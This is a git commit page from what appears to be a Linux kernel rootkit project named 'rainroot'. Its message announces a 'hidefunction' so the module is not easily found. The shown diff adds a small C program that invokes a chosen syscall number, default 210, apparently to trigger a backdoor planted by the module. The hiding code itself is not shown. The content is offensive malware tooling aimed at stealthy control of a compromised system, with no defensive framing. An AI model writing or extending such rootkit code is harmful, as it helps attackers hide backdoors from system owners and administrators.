version 0.2, added hidefunction so mod is not found anymore easily

This commit is contained in:
your-favorite-hacker
2015-07-05 21:24:41 +02:00
parent 60bdcc8bed
commit 0fc9a7e995
4 changed files with 111 additions and 19 deletions

View File

@@ -4,9 +4,20 @@
#include <sys/syscall.h>
#include <stdlib.h>
void help(){
printf("rainroot caller\nuse appropiate syscallnumber (default: 210)\nexample: ./caller 210\n\nby dash\n");
}
int main(int argc, char *argv[]){
int scall=-1;
if(argc<2){
help();
exit(1);
}
scall = atoi(argv[1]);
syscall(scall);